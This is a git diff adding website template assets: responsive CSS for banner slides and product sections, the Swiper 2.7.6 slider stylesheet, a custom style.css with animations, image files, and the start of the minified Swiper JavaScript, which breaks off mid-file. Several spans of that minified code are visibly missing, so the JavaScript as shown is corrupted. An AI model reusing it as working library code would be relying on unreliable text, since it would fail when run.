.y2{left:0!important;top:25%!important;width:50%!important} +.slide1 .y3{top:-10%!important;left:30%!important;width:50%!important} +.slide2 .s0{width:60%!important;top:30%!important;left:20%!important} +.slide2 .s1{width:60%!important;top:60%!important;left:20%!important} +.slide2 .s3,.slide2 .s4{width:50%!important;height:auto!important} +.slide2 .s5{width:20%!important;right:3%!important} +.slide3 .zh-a-1{top:25%!important;width:60%!important;left:20%!important} +.slide3 .zh-a-2{left:0!important;height:260px!important} +.slide3 .zh-a-3{top:60%!important;left:20%!important;width:60%!important} +.slide4 .b-y-1{top:10%!important;left:15%!important} +.slide4 .b-y-2{width:40%!important;top:10%!important;left:55%!important} +.slide4 .b-y-3{width:45%!important;top:10%!important} +.slide4 .b-1{width:60%!important;top:30%!important;left:20%!important} +.slide4 .b-3{width:60%!important;top:63%!important;left:20%!important} +.slide4 .b-s-1{left:0!important;width:20%!important} +.slide4 .b-s-2{left:15%!important;width:10%!important} +.slide4 .b-s-3{left:40%!important;width:25%!important} +.slide4 .b-s-4{left:30%!important;width:15%!important} +.slide4 .b-s-5{left:70%!important;width:15%!important} +.slide4 .b-s-6{left:80%!important;width:30%!important} +.slide6 .ny1{width:50%!important;right:0!important;bottom:0!important} +.slide6 .ny2{left:5%!important;top:25%!important;width:45%!important} +.slide6 .ny3{left:10%!important;top:65%!important;width:37%!important} +.slide7 .yx1{width:80%!important;right:7%!important} +.slide7 .yx2{left:0!important;width:40%!important} +.slide7 .yx3{right:0!important;width:40%!important} +.slide7 .yx4{top:30%!important;left:15%!important;width:75%!important} +.slide7 .yx5{left:0!important;width:35%!important} +.slide8 .zs1{left:10%!important;top:26%!important;width:80%!important} +.slide8 .zs2{display:none} +.banwuright{display:none!important} +.banwuleft{top:15%!important;left:10%!important} +.banwuleft span{text-align:center!important} +.banwuleft a{margin:20px auto!important} +.product-item-img{width:100%;height:110px} +.product-item{margin-top:0} +.product-item-tit{font-size:18px} +.productmsg-sitem h6{line-height:35px;margin:15px auto} +.productmsg-sitem span{width:100%} +.productmsg-sitem p{width:100%} +.productmsg-item span{width:100%} +.productmsg-item p{width:100%} +.ysleft,.ysright{padding:0;overflow:hidden} +.solution-box img{margin:10px auto;display:block;float:none} +.solution-box dd{float:none} +.solution-box span{text-align:center;margin-top:0} +.solution-box p{text-align:center} +.guangdiv h6{font-size:18px} +.guangdiv span{font-size:12px} +.kzf-mod-product{padding:20px 0} +.mapdec .text{margin:0} +.footxxdiv{margin:0 0 15px} +.page .main{padding:0!important} +.price-section .section-heading{margin:0} +.vcenter{margin-top:20px} +.price-section{z-index:0} +.technical_support_box ul li a .text{width:100%} +.mapdec .text h5{font-size:18px;line-height:35px;color:#0f1830;margin:0 0 0 40px} +.mapdec .text span{font-size:15px;line-height:20px;display:block;margin-top:10px;overflow:hidden} +.mapdec i{float:left;margin-right:10px;display:block;width:20px;height:20px;background:url(../images/contimg.png) no-repeat;background-size:100% auto} +.mapdec i.lx_dz{background-position:0 0} +.mapdec i.lx_dh{background-position:0 -20px} +.mapdec i.lx_yx{background-position:0 -40px} +.mapdec i.lx_wz{background-position:0 -60px} +.mapdec i.lx_gjz{background-position:0 -80px} +.mapdec .buslink{overflow:hidden;margin:20px 0 0 0} +.buslink dd{display:block;overflow:hidden;font-size:16px;line-height:20px;color:#0f1830} +.buslink b{display:block;font-size:16px;line-height:20px;margin:10px 0 0 40px} +.buslink p{display:block;font-size:16px;line-height:20px;margin:0 0 0 40px} +.newspagelist .kzf-mod-new-time-date{font-size:16px} +.txfwitem h6{margin:0} +.txfwitem img{margin:1rem auto} +.ggchidiv{margin:0;height:210px;background:url(../images/ggbg.jpg)} +.news-container .row{margin:0!important} +.product-item-tit{overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.ysleft dl,.ysright dl{float:none;border:none} +.news-box-tit{margin:0 12px} +.indexnews .newsmore{margin:0 0 20px} +.coop-content-left>p>span:nth-of-type(1){margin:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.coop-content-left>p>span:nth-of-type(2){line-height:22px!important;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:8;overflow:hidden} +.coop-mch-logo{right:30px} +.newfwcon{padding:35px 0} +.zsp_a .a1{margin:40px 0 0 0} +.zspage .zsp_b,.zspage .zsp_c{padding:20px 0} +.zspage h6{display:block;font-size:25px;line-height:45px;color:#474747;text-align:center;font-weight:700} +.zspage p{display:block;font-size:14px;line-height:22px;color:#999;text-align:center;margin:8px 0} +} +@media (max-width:399px){.cmmi span{display:block;margin-left:0} +} +@media (min-width:993px){.nav{display:block!important} +.productmsg-sitem{margin:80px 0 0 0} +} +@media (min-width:640px){.leaders-item{padding-left:40px} +} diff --git a/template/index3/assets/css/idangerous.swiper2.7.6.css b/template/index3/assets/css/idangerous.swiper2.7.6.css new file mode 100644 index 0000000..96f2e86 --- /dev/null +++ b/template/index3/assets/css/idangerous.swiper2.7.6.css @@ -0,0 +1,125 @@ +/* + * Swiper 2.7.6 + * Mobile touch slider and framework with hardware accelerated transitions + * + * http://www.idangero.us/sliders/swiper/ + * + * Copyright 2010-2015, Vladimir Kharlampidi + * The iDangero.us + * http://www.idangero.us/ + * + * Licensed under GPL & MIT + * + * Released on: February 11, 2015 +*/ +/* =============================================================== +Basic Swiper Styles +================================================================*/ +.swiper-container { + margin:0 auto; + position:relative; + overflow:hidden; + direction:ltr; + -webkit-backface-visibility:hidden; + -moz-backface-visibility:hidden; + -ms-backface-visibility:hidden; + -o-backface-visibility:hidden; + backface-visibility:hidden; + /* Fix of Webkit flickering */ + z-index:1; +} +.swiper-wrapper { + position:relative; + width:100%; + -webkit-transition-property:-webkit-transform, left, top; + -webkit-transition-duration:0s; + -webkit-transform:translate3d(0px,0,0); + -webkit-transition-timing-function:ease; + + -moz-transition-property:-moz-transform, left, top; + -moz-transition-duration:0s; + -moz-transform:translate3d(0px,0,0); + -moz-transition-timing-function:ease; + + -o-transition-property:-o-transform, left, top; + -o-transition-duration:0s; + -o-transform:translate3d(0px,0,0); + -o-transition-timing-function:ease; + -o-transform:translate(0px,0px); + + -ms-transition-property:-ms-transform, left, top; + -ms-transition-duration:0s; + -ms-transform:translate3d(0px,0,0); + -ms-transition-timing-function:ease; + + transition-property:transform, left, top; + transition-duration:0s; + transform:translate3d(0px,0,0); + transition-timing-function:ease; + + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + -moz-transition-timing-function: ease-out; + -ms-transition-timing-function: ease-out; + -o-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + float: left; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} + +/* IE10 Windows Phone 8 Fixes */ +.swiper-wp8-horizontal { + -ms-touch-action: pan-y; +} +.swiper-wp8-vertical { + -ms-touch-action: pan-x; +} + +/* =============================================================== +Your custom styles, here you need to specify container's and slide's +sizes, pagination, etc. +================================================================*/ +.swiper-container { + /* Specify Swiper's Size: */ + + /*width:200px; + height: 100px;*/ +} +.swiper-slide { + /* Specify Slides's Size: */ + + /*width: 100%; + height: 100%;*/ +} +.swiper-slide-active { + /* Specific active slide styling: */ + +} +.swiper-slide-visible { + /* Specific visible slide styling: */ + +} +/* =============================================================== +Pagination Styles +================================================================*/ +.swiper-pagination-switch { + /* Stylize pagination button: */ + +} +.swiper-active-switch { + /* Specific active button style: */ + +} +.swiper-visible-switch { + /* Specific visible button style: */ + +} diff --git a/template/index3/assets/css/style.css b/template/index3/assets/css/style.css new file mode 100644 index 0000000..b2f3eae --- /dev/null +++ b/template/index3/assets/css/style.css @@ -0,0 +1,258 @@ +@charset "utf-8"; +/* CSS Document */ +*{ + padding:0; + margin:0; +} +.wrap_top { + width: 100%; + overflow: hidden; + border-bottom: 1px solid #e5e5e5; + background: #f7f7f7; +} +.swiper-container{ + height:500px; +} +.arrow-left { + background: url(../images/arrows.png) no-repeat left top; + position: absolute; + left: 10px; + top: 50%; + margin-top: -15px; + width: 17px; + height: 30px; + z-index:10; +} +.arrow-right { + background: url(../images/arrows.png) no-repeat left bottom; + position: absolute; + right: 10px; + top: 50%; + margin-top: -15px; + width: 17px; + height: 30px; + z-index:10; +} +.pagination { + position: absolute; + left: 0; + text-align: center; + bottom:5px; + width: 100%; +} +.swiper-pagination-switch { + display: inline-block; + width: 10px; + height: 10px; + border-radius: 10px; + background: #108bed; + margin: 0 3px; + cursor: pointer; +} +.swiper-active-switch { + background: #fff; +} +.swiper-slide{ + position:relative; + opacity:0; + transition: opacity 0.7s ease-in-out; +} +.swiper-slide-active{ + opacity:1; +} +.swiper-slide .img{ + position:absolute; +} +.inner{ + position:relative; + display:block; + width:1000px; + height:500px; + margin:0 auto; +} +.slide1{ + background:url(../images/bannerbg.jpg) top center no-repeat; +} +.slide2{ + background-color: #07cf8b; +} +.slide3{ + background-color: #108ced; +} +.slide4{ + background-color: #13d0d2; +} +.slide5{ + background:url(../images/banbg2.jpg) top center no-repeat; +} +.slide6{ + background:#e63030 url(../images/ny_bg.png) top center no-repeat; +} +.slide7{ + background:url(../images/yx_0.jpg) top center no-repeat; +} +.slide8{ + background: #ff5b28; +} +.slide1 .xt1{left: 5%; top:150px;width:900px;} +.slide1 .bs2{left: 20%; top:170px;width:600px;} +.slide1 .bs3{left: 20%; top:260px;width:600px;} +.slide2 .s0{left: 25%; top:130px;width:500px;} +.slide2 .s1{left: 25%;top:300px;width:500px;} +.slide2 .s2{left: 50%;margin-left: -435px;top: 280px;} +.slide2 .s3{left: 0;bottom: 0px;z-index: 5;height:190px;} +.slide2 .s4{right: 0;bottom: 0px;z-index: 0;height: 160px;} +.slide2 .s5{right: 0;top: 10px;width:200px;} +.slide3 .zh-a-1{left: 25%;top: 130px;z-index: 9;width:500px;} +.slide3 .zh-a-3{left: 25%;top: 330px;width:500px;} +.slide3 .zh-a-2{left: 15%;top: 0;height:500px;} +.slide4 .b-1{left:25%;top: 130px;width:500px;} +.slide4 .b-2{left: 90px;top: 180px;} +.slide4 .b-3{left: 25%;top: 320px;width:500px;} +.slide4 .b-s-1{width: 100px; left: 50px; bottom:0px;} +.slide4 .b-s-2{left: 160px;width: 160px;bottom:0px;} +.slide4 .b-s-3{left: 390px;width: 58px;bottom:0px;} +.slide4 .b-s-4{right: 359px; width: 103px;bottom:0px;} +.slide4 .b-s-5{right: 250px;width: 150px;bottom:0px;} +.slide4 .b-s-6{right: 0;width: 65px;bottom:0px;} +.slide4 .b-y-1{top:40px;left:50%;} +.slide4 .b-y-2{top:40px;left:60%} +.slide4 .b-y-3{top:40px;left:0%;} +.slide6 .ny1{bottom:0;right:0;} +.slide6 .ny2{top:100px;left:0;} +.slide6 .ny3{top:340px;left:60px;} +.slide7 .yx1{bottom:0;right:80px;} +.slide7 .yx2{top:0;left:-100px;} +.slide7 .yx3{top:0;right:-100px;} +.slide7 .yx4{top:130px;left:180px;} +.slide7 .yx5{bottom:0;left:20px;} +.slide8 .zs1{left:0;top:140px;width:560px;} +.slide8 .zs2{right:0;top:50px;} + +.banwuleft{ + top: 33%; + left: 0; + width: 300px; + position: absolute; +} +.banwuleft span{ + display: block; + font-size: 40px; + line-height: 50px; + color: #fff; +} +.banwuleft a{ + width: 180px; + background: rgba(255,255,255,0.8); + display: block; + text-align: center; + border-radius: 30px; + line-height: 35px; + font-size: 16px; + color: #108bed; + margin-top: 20px; + transition:All 0.6s ease-in-out; + -webkit-transition:All 0.6s ease-in-out; + -moz-transition:All 0.6s ease-in-out; + -o-transition:All 0.6s ease-in-out; +} +.banwuleft a:hover{ + background: #fff; + color:#108bed; +} +.banwuright{ + position: absolute; + top: 23%; + right: 0; + width: 570px; + background:rgba(80,170,240,0.7); + padding: 30px 20px; + border-radius: 10px; + box-shadow:5px 5px 10px rgba(10,110,190,0.2); +} +.banwuright h6{ + font-size: 40px; + color: #fff; + padding-bottom: 20px; + display: block; + border-bottom: 1px solid #73c3ff; + line-height: 50px; +} +.banwuright span{ + font-size: 16px; + color: #fff; + font-weight: 700; + margin-top: 10px; + line-height: 35px; + display: block; +} +.banwuright p{ + font-size: 16px; + color: #fff; + line-height: 20px; + display: block; +} +.banwuright a{ + display: block; + width: 250px; + text-align: center; + background: #f1d025; + border-radius: 20px; + font-size: 16px; + color: #fff; + line-height: 35px; + margin-top: 30px; + transition:All 0.6s ease-in-out; + -webkit-transition:All 0.6s ease-in-out; + -moz-transition:All 0.6s ease-in-out; + -o-transition:All 0.6s ease-in-out; +} +.banwuright a:hover{ + background: #f6a90d; + color:#fff; +} + +.loop{ + animation-iteration-count: infinite;/*无限*/ + animation-timing-function:linear;/*平滑*/ +} +.targetBtn { + margin-top: 20px; + position: absolute; + bottom: 60px; + left: 352px; + z-index: 999; +} +.targetBtn a{ + height:50px; + border-radius:50px; + background:rgba(0,0,0,.5); + float:left; + line-height:50px; + text-align:center; + color:#fff; + text-decoration:none; + } +.targetBtn .a1{ + width:110px; + } +.targetBtn .a2{ + width:170px; + margin-left:15px; + } +/*自定义CSS动画*/ +.moveRight{-webkit-animation-name:moveRight;animation-name:moveRight} +@-webkit-keyframes moveRight{0%{opacity: 0;left:0px;} +10%{opacity: 1;} +100%{opacity: 1;left:550px;}} +@keyframes moveRight{0%{opacity: 0;left:0px;} +10%{opacity: 1;} +100%{opacity: 1;left:550px;}} + +.moveLeft{-webkit-animation-name:moveLeft;animation-name:moveLeft} +@-webkit-keyframes moveLeft{0%{opacity:0;left:390px;} +10%{opacity:1;} +100%{opacity:1;left:-370px;}} +@keyframes moveLeft{0%{opacity:0;left:390px;} +10%{opacity:1;} +100%{opacity:1;left:-370px;}} \ No newline at end of file diff --git a/template/index3/assets/images/002.png b/template/index3/assets/images/002.png new file mode 100644 index 0000000..a8cbf44 Binary files /dev/null and b/template/index3/assets/images/002.png differ diff --git a/template/index3/assets/images/arrows.png b/template/index3/assets/images/arrows.png new file mode 100644 index 0000000..c4f0633 Binary files /dev/null and b/template/index3/assets/images/arrows.png differ diff --git a/template/index3/assets/images/aside.jpg b/template/index3/assets/images/aside.jpg new file mode 100644 index 0000000..ac3bd49 Binary files /dev/null and b/template/index3/assets/images/aside.jpg differ diff --git a/template/index3/assets/images/b4.png b/template/index3/assets/images/b4.png new file mode 100644 index 0000000..85e49e2 Binary files /dev/null and b/template/index3/assets/images/b4.png differ diff --git a/template/index3/assets/images/banbg2.jpg b/template/index3/assets/images/banbg2.jpg new file mode 100644 index 0000000..4ebeb8a Binary files /dev/null and b/template/index3/assets/images/banbg2.jpg differ diff --git a/template/index3/assets/images/bannerbg.jpg b/template/index3/assets/images/bannerbg.jpg new file mode 100644 index 0000000..69c05aa Binary files /dev/null and b/template/index3/assets/images/bannerbg.jpg differ diff --git a/template/index3/assets/images/common_z.png b/template/index3/assets/images/common_z.png new file mode 100644 index 0000000..2555c5d Binary files /dev/null and b/template/index3/assets/images/common_z.png differ diff --git a/template/index3/assets/images/contimg.png b/template/index3/assets/images/contimg.png new file mode 100644 index 0000000..9062a60 Binary files /dev/null and b/template/index3/assets/images/contimg.png differ diff --git a/template/index3/assets/images/ggbg.jpg b/template/index3/assets/images/ggbg.jpg new file mode 100644 index 0000000..ba4f44e Binary files /dev/null and b/template/index3/assets/images/ggbg.jpg differ diff --git a/template/index3/assets/images/guangbg.jpg b/template/index3/assets/images/guangbg.jpg new file mode 100644 index 0000000..a8f408e Binary files /dev/null and b/template/index3/assets/images/guangbg.jpg differ diff --git a/template/index3/assets/images/hxz.png b/template/index3/assets/images/hxz.png new file mode 100644 index 0000000..3b7571f Binary files /dev/null and b/template/index3/assets/images/hxz.png differ diff --git a/template/index3/assets/images/icon-list.jpg b/template/index3/assets/images/icon-list.jpg new file mode 100644 index 0000000..8193506 Binary files /dev/null and b/template/index3/assets/images/icon-list.jpg differ diff --git a/template/index3/assets/images/item1-a-h.png b/template/index3/assets/images/item1-a-h.png new file mode 100644 index 0000000..d4ba766 Binary files /dev/null and b/template/index3/assets/images/item1-a-h.png differ diff --git a/template/index3/assets/images/item1.png b/template/index3/assets/images/item1.png new file mode 100644 index 0000000..38864df Binary files /dev/null and b/template/index3/assets/images/item1.png differ diff --git a/template/index3/assets/images/item2-a-h.png b/template/index3/assets/images/item2-a-h.png new file mode 100644 index 0000000..4238bb8 Binary files /dev/null and b/template/index3/assets/images/item2-a-h.png differ diff --git a/template/index3/assets/images/item2.png b/template/index3/assets/images/item2.png new file mode 100644 index 0000000..b589061 Binary files /dev/null and b/template/index3/assets/images/item2.png differ diff --git a/template/index3/assets/images/item3-a-h.png b/template/index3/assets/images/item3-a-h.png new file mode 100644 index 0000000..e67baa5 Binary files /dev/null and b/template/index3/assets/images/item3-a-h.png differ diff --git a/template/index3/assets/images/item3.png b/template/index3/assets/images/item3.png new file mode 100644 index 0000000..64f04eb Binary files /dev/null and b/template/index3/assets/images/item3.png differ diff --git a/template/index3/assets/images/item4-a-h.png b/template/index3/assets/images/item4-a-h.png new file mode 100644 index 0000000..67ae098 Binary files /dev/null and b/template/index3/assets/images/item4-a-h.png differ diff --git a/template/index3/assets/images/item4.png b/template/index3/assets/images/item4.png new file mode 100644 index 0000000..3c2f0a5 Binary files /dev/null and b/template/index3/assets/images/item4.png differ diff --git a/template/index3/assets/images/item5-a-h.png b/template/index3/assets/images/item5-a-h.png new file mode 100644 index 0000000..0008a29 Binary files /dev/null and b/template/index3/assets/images/item5-a-h.png differ diff --git a/template/index3/assets/images/item5.png b/template/index3/assets/images/item5.png new file mode 100644 index 0000000..16537f6 Binary files /dev/null and b/template/index3/assets/images/item5.png differ diff --git a/template/index3/assets/images/item6-a-h.png b/template/index3/assets/images/item6-a-h.png new file mode 100644 index 0000000..b733c34 Binary files /dev/null and b/template/index3/assets/images/item6-a-h.png differ diff --git a/template/index3/assets/images/item6.png b/template/index3/assets/images/item6.png new file mode 100644 index 0000000..9a0f1c3 Binary files /dev/null and b/template/index3/assets/images/item6.png differ diff --git a/template/index3/assets/images/item7-a-h.png b/template/index3/assets/images/item7-a-h.png new file mode 100644 index 0000000..0ec45f8 Binary files /dev/null and b/template/index3/assets/images/item7-a-h.png differ diff --git a/template/index3/assets/images/item7.png b/template/index3/assets/images/item7.png new file mode 100644 index 0000000..6159c47 Binary files /dev/null and b/template/index3/assets/images/item7.png differ diff --git a/template/index3/assets/images/item8-a-h.png b/template/index3/assets/images/item8-a-h.png new file mode 100644 index 0000000..b53a076 Binary files /dev/null and b/template/index3/assets/images/item8-a-h.png differ diff --git a/template/index3/assets/images/item8.png b/template/index3/assets/images/item8.png new file mode 100644 index 0000000..49b5cb9 Binary files /dev/null and b/template/index3/assets/images/item8.png differ diff --git a/template/index3/assets/images/item9-a-h.png b/template/index3/assets/images/item9-a-h.png new file mode 100644 index 0000000..18601f8 Binary files /dev/null and b/template/index3/assets/images/item9-a-h.png differ diff --git a/template/index3/assets/images/item9.png b/template/index3/assets/images/item9.png new file mode 100644 index 0000000..e0db918 Binary files /dev/null and b/template/index3/assets/images/item9.png differ diff --git a/template/index3/assets/images/ny_bg.png b/template/index3/assets/images/ny_bg.png new file mode 100644 index 0000000..9cf8771 Binary files /dev/null and b/template/index3/assets/images/ny_bg.png differ diff --git a/template/index3/assets/images/right-menu-icons.png b/template/index3/assets/images/right-menu-icons.png new file mode 100644 index 0000000..973a261 Binary files /dev/null and b/template/index3/assets/images/right-menu-icons.png differ diff --git a/template/index3/assets/images/yx_0.jpg b/template/index3/assets/images/yx_0.jpg new file mode 100644 index 0000000..dfb71f7 Binary files /dev/null and b/template/index3/assets/images/yx_0.jpg differ diff --git a/template/index3/assets/js/idangerous.swiper2.7.6.min.js b/template/index3/assets/js/idangerous.swiper2.7.6.min.js new file mode 100644 index 0000000..1392d50 --- /dev/null +++ b/template/index3/assets/js/idangerous.swiper2.7.6.min.js @@ -0,0 +1,16 @@ +/* + * Swiper 2.7.6 + * Mobile touch slider and framework with hardware accelerated transitions + * + * http://www.idangero.us/sliders/swiper/ + * + * Copyright 2010-2015, Vladimir Kharlampidi + * The iDangero.us + * http://www.idangero.us/ + * + * Licensed under GPL & MIT + * + * Released on: February 11, 2015 +*/ +var Swiper=function(a,b){"use strict";function c(a,b){return document.querySelectorAll?(b||document).querySelectorAll(a):jQuery(a,b)}function d(a){return"[object Array]"===Object.prototype.toString.apply(a)?!0:!1}function e(){var a=G-J;return b.freeMode&&(a=G-J),b.slidesPerView>D.slides.length&&!b.centeredSlides&&(a=0),0>a&&(a=0),a}function f(){function a(a){var c,d,e=function(){"undefined"!=typeof D&&null!==D&&(void 0!==D.imagesLoaded&&D.imagesLoaded++,D.imagesLoaded===D.imagesToLoad.length&&(D.reInit(),b.onImagesReady&&D.fireCallback(b.onImagesReady,D)))};a.complete?e():(d=a.currentSrc||a.getAttribute("src"),d?(c=new Image,c.onload=e,c.onerror=e,c.src=d):e())}var d=D.h.addEventListener,e="wrapper"===b.eventTarget?D.wrapper:D.container;if(D.browser.ie10||D.browser.ie11?(d(e,D.touchEvents.touchStart,p),d(document,D.touchEvents.touchMove,q),d(document,D.touchEvents.touchEnd,r)):(D.support.touch&&(d(e,"touchstart",p),d(e,"touchmove",q),d(e,"touchend",r)),b.simulateTouch&&(d(e,"mousedown",p),d(document,"mousemove",q),d(document,"mouseup",r))),b.autoResize&&d(window,"resize",D.resizeFix),g(),D._wheelEvent=!1,b.mousewheelControl){if(void 0!==document.onmousewheel&&(D._wheelEvent="mousewheel"),!D._wheelEvent)try{new WheelEvent("wheel"),D._wheelEvent="wheel"}catch(f){}D._wheelEvent||(D._wheelEvent="DOMMouseScroll"),D._wheelEvent&&d(D.container,D._wheelEvent,j)}if(b.keyboardControl&&d(document,"keydown",i),b.updateOnImagesReady){D.imagesToLoad=c("img",D.container);for(var h=0;h=e&&k[0]<=e+g&&k[1]>=f&&k[1]<=f+h&&(c=!0)}if(!c)return}N?((37===b||39===b)&&(a.preventDefault?a.preventDefault():a.returnValue=!1),39===b&&D.swipeNext(),37===b&&D.swipePrev()):((38===b||40===b)&&(a.preventDefault?a.preventDefault():a.returnValue=!1),40===b&&D.swipeNext(),38===b&&D.swipePrev())}}function j(a){var c=D._wheelEvent,d=0;if(a.detail)d=-a.detail;else if("mousewheel"===c)if(b.mousewheelControlForceToAxis)if(N){if(!(Math.abs(a.wheelDeltaX)>Math.abs(a.wheelDeltaY)))return;d=a.wheelDeltaX}else{if(!(Math.abs(a.wheelDeltaY)>Math.abs(a.wheelDeltaX)))return;d=a.wheelDeltaY}else d=a.wheelDelta;else if("DOMMouseScroll"===c)d=-a.detail;else if("wheel"===c)if(b.mousewheelControlForceToAxis)if(N){if(!(Math.abs(a.deltaX)>Math.abs(a.deltaY)))return;d=-a.deltaX}else{if(!(Math.abs(a.deltaY)>Math.abs(a.deltaX)))return;d=-a.deltaY}else d=Math.abs(a.deltaX)>Math.abs(a.deltaY)?-a.deltaX:-a.deltaY;if(b.freeMode){var f=D.getWrapperTranslate()+d;if(f>0&&(f=0),f<-e()&&(f=-e()),D.setWrapperTransition(0),D.setWrapperTranslate(f),D.updateActiveSlide(f),0===f||f===-e())return}else(new Date).getTime()-V>60&&(0>d?D.swipeNext():D.swipePrev()),V=(new Date).getTime();return b.autoplay&&D.stopAutoplay(!0),a.preventDefault?a.preventDefault():a.returnValue=!1,!1}function k(a){D.allowSlideClick&&(m(a),D.fireCallback(b.onSlideClick,D,a))}function l(a){m(a),D.fireCallback(b.onSlideTouch,D,a)}function m(a){if(a.currentTarget)D.clickedSlide=a.currentTarget;else{var c=a.srcElement;do{if(c.className.indexOf(b.slideClass)>-1)break;c=c.parentNode}while(c);D.clickedSlide=c}D.clickedSlideIndex=D.slides.indexOf(D.clickedSlide),D.clickedSlideLoopIndex=D.clickedSlideIndex-(D.loopedSlides||0)}function n(a){return D.allowLinks?void 0:(a.preventDefault?a.preventDefault():a.returnValue=!1,b.preventLinksPropagation&&"stopPropagation"in a&&a.stopPropagation(),!1)}function o(a){return a.stopPropagation?a.stopPropagation():a.returnValue=!1,!1}function p(a){if(b.preventLinks&&(D.allowLinks=!0),D.isTouched||b.onlyExternal)return!1;var c=a.target||a.srcElement;document.activeElement&&document.activeElement!==document.body&&document.activeElement!==c&&document.activeElement.blur();var d="input select textarea".split(" ");if(b.noSwiping&&c&&t(c))return!1;if(_=!1,D.isTouched=!0,$="touchstart"===a.type,!$&&"which"in a&&3===a.which)return D.isTouched=!1,!1;if(!$||1===a.targetTouches.length){D.callPlugins("onTouchStartBegin"),!$&&!D.isAndroid&&d.indexOf(c.tagName.toLowerCase())<0&&(a.preventDefault?a.preventDefault():a.returnValue=!1);var e=$?a.targetTouches[0].pageX:a.pageX||a.clientX,f=$?a.targetTouches[0].pageY:a.pageY||a.clientY;D.touches.startX=D.touches.currentX=e,D.touches.startY=D.touches.currentY=f,D.touches.start=D.touches.current=N?e:f,D.setWrapperTransition(0),D.positions.start=D.positions.current=D.getWrapperTranslate(),D.setWrapperTranslate(D.positions.start),D.times.start=(new Date).getTime(),I=void 0,b.moveStartThreshold>0&&(X=!1),b.onTouchStart&&D.fireCallback(b.onTouchStart,D,a),D.callPlugins("onTouchStartEnd")}}function q(a){if(D.isTouched&&!b.onlyExternal&&(!$||"mousemove"!==a.type)){var c=$?a.targetTouches[0].pageX:a.pageX||a.clientX,d=$?a.targetTouches[0].pageY:a.pageY||a.clientY;if("undefined"==typeof I&&N&&(I=!!(I||Math.abs(d-D.touches.startY)>Math.abs(c-D.touches.startX))),"undefined"!=typeof I||N||(I=!!(I||Math.abs(d-D.touches.startY)D.touches.startX)return}else if(!b.swipeToNext&&dD.touches.startY)return;if(a.assignedToSwiper)return void(D.isTouched=!1);if(a.assignedToSwiper=!0,b.preventLinks&&(D.allowLinks=!1),b.onSlideClick&&(D.allowSlideClick=!1),b.autoplay&&D.stopAutoplay(!0),!$||1===a.touches.length){if(D.isMoved||(D.callPlugins("onTouchMoveStart"),b.loop&&(D.fixLoop(),D.positions.start=D.getWrapperTranslate()),b.onTouchMoveStart&&D.fireCallback(b.onTouchMoveStart,D)),D.isMoved=!0,a.preventDefault?a.preventDefault():a.returnValue=!1,D.touches.current=N?c:d,D.positions.current=(D.touches.current-D.touches.start)*b.touchRatio+D.positions.start,D.positions.current>0&&b.onResistanceBefore&&D.fireCallback(b.onResistanceBefore,D,D.positions.current),D.positions.current<-e()&&b.onResistanceAfter&&D.fireCallback(b.onResistanceAfter,D,Math.abs(D.positions.current+e())),b.resistance&&"100%"!==b.resistance){var f;if(D.positions.current>0&&(f=1-D.positions.current/J/2,D.positions.current=.5>f?J/2:D.positions.current*f),D.positions.current<-e()){var g=(D.touches.current-D.touches.start)*b.touchRatio+(e()+D.positions.start);f=(J+g)/J;var h=D.positions.current-g*(1-f)/2,i=-e()-J/2;D.positions.current=i>h||0>=f?i:h}}if(b.resistance&&"100%"===b.resistance&&(D.positions.current>0&&(!b.freeMode||b.freeModeFluid)&&(D.positions.current=0),D.positions.current<-e()&&(!b.freeMode||b.freeModeFluid)&&(D.positions.current=-e())),!b.followFinger)return;if(b.moveStartThreshold)if(Math.abs(D.touches.current-D.touches.start)>b.moveStartThreshold||X){if(!X)return X=!0,void(D.touches.start=D.touches.current);D.setWrapperTranslate(D.positions.current)}else D.positions.current=D.positions.start;else D.setWrapperTranslate(D.positions.current);return(b.freeMode||b.watchActiveIndex)&&D.updateActiveSlide(D.positions.current),b.grabCursor&&(D.container.style.cursor="move",D.container.style.cursor="grabbing",D.container.style.cursor="-moz-grabbin",D.container.style.cursor="-webkit-grabbing"),Y||(Y=D.touches.current),Z||(Z=(new Date).getTime()),D.velocity=(D.touches.current-Y)/((new Date).getTime()-Z)/2,Math.abs(D.touches.current-Y)<2&&(D.velocity=0),Y=D.touches.current,Z=(new Date).getTime(),D.callPlugins("onTouchMoveEnd"),b.onTouchMove&&D.fireCallback(b.onTouchMove,D,a),!1}}}function r(a){if(I&&D.swipeReset(),!b.onlyExternal&&D.isTouched){D.isTouched=!1,b.grabCursor&&(D.container.style.cursor="move",D.container.style.cursor="grab",D.container.style.cursor="-moz-grab",D.container.style.cursor="-webkit-grab"),D.positions.current||0===D.positions.current||(D.positions.current=D.positions.start),b.followFinger&&D.setWrapperTranslate(D.positions.current),D.times.end=(new Date).getTime(),D.touches.diff=D.touches.current-D.touches.start,D.touches.abs=Math.abs(D.touches.diff),D.positions.diff=D.positions.current-D.positions.start,D.positions.abs=Math.abs(D.positions.diff);var c=D.positions.diff,d=D.positions.abs,f=D.times.end-D.times.start;5>d&&300>f&&D.allowLinks===!1&&(b.freeMode||0===d||D.swipeReset(),b.preventLinks&&(D.allowLinks=!0),b.onSlideClick&&(D.allowSlideClick=!0)),setTimeout(function(){"undefined"!=typeof D&&null!==D&&(b.preventLinks&&(D.allowLinks=!0),b.onSlideClick&&(D.allowSlideClick=!0))},100);var g=e();if(!D.isMoved&&b.freeMode)return D.isMoved=!1,b.onTouchEnd&&D.fireCallback(b.onTouchEnd,D,a),void D.callPlugins("onTouchEnd");if(!D.isMoved||D.positions.current>0||D.positions.current<-g)return D.swipeReset(),b.onTouchEnd&&D.fireCallback(b.onTouchEnd,D,a),void D.callPlugins("onTouchEnd");if(D.isMoved=!1,b.freeMode){if(b.freeModeFluid){var 